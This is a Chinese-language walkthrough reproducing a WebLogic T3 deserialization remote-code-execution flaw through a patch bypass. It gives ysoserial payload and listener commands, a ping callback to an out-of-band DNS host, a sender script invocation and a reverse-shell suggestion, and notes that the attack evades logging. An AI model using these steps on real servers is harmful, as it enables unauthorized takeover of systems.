这个漏洞的产生是因为绕过了cve-2015-4852的补丁,该补丁中采用黑名单的方式过滤危险的反序列化类,但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击
与cve-2018-2628一致,因为cve-2018-2628就是绕过了cve-2017-3248的补丁而已,所以CVE-2018-2628可以利用的payload同样可以应用于本漏洞
参考CVE-2018-2628
同CVE-2018-2628
版本 Oracle WebLogic Server10.3.6.0 Oracle WebLogic Server12.2.1.2 Oracle WebLogic Server12.2.1.3 Oracle WebLogic Server12.1.3.0
配置 开启T3协议(默认为开启状态)
这个洞产生原因是 weblogic 对于 T3 协议发送的数据包没有过滤,攻击者通过T3协议发送一段序列化后的恶意数据,这段数据经过weblogic反序列后生成的对象会请求攻击者的rmi服务端,加载恶意数据,再反序列化生成一个对象,利用反射机制导致命令执行。
说到这个漏洞就不得不提CVE-2017-3248,因为这个漏洞是绕过CVE-2017-3248的补丁而产生的,我们先来看看3248的补丁做了什么 由上图可见,补丁采用黑名单的方式在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass,这个resolveProxyClass只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry,是的话抛出错误。
绕过思路很简单,找另外一个可利用的RMI接口,这里使用java.rmi.activation.Activator来生成payload
我们使用著名的ysoserial工具来进行复现
java -jar /opt/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar payload 攻击者服务器ip:攻击者服务器监听的端口 > payload写入的文件
例:生成的payload写入文件axin java -jar /opt/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 127.0.0.1:1099 > axin注意:这里使用的是JRMPClient2,这个版本是使用的java.rmi.activation.Activator来生成payload,除此之外ysoserial中还有一个JRMPClient,这个版本则是使用的java.rmi.registry.Registry生成payload
java -cp ysoserial-0.6-SNAPSHOT-BETA-all.jar exploit 监听端口 使用的类 需要执行的命令
例:java -cp ysoserial-0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "ping 123333.3w9vbg.ceye.io"
这里需要用到一个利用T3协议发送数据的脚本 python weblogic.py 目标主机 目标端口 payload文件
例:python weblogic.py 127.0.0.1 7001 axin 如果利用成功可以在ceye.io平台上看到相应的DNS解析记录,这也就说明了命令成功执行了。 监听端,收到来自目标机的请求 ceye平台有相应dns解析记录 至此漏洞复现完成,当然还可以尝试执行其他命令,例如在特定场景下利用nc反弹一个shell等
该漏洞直接利用t3协议触发,在日志中不会有记录,所以很难排查痕迹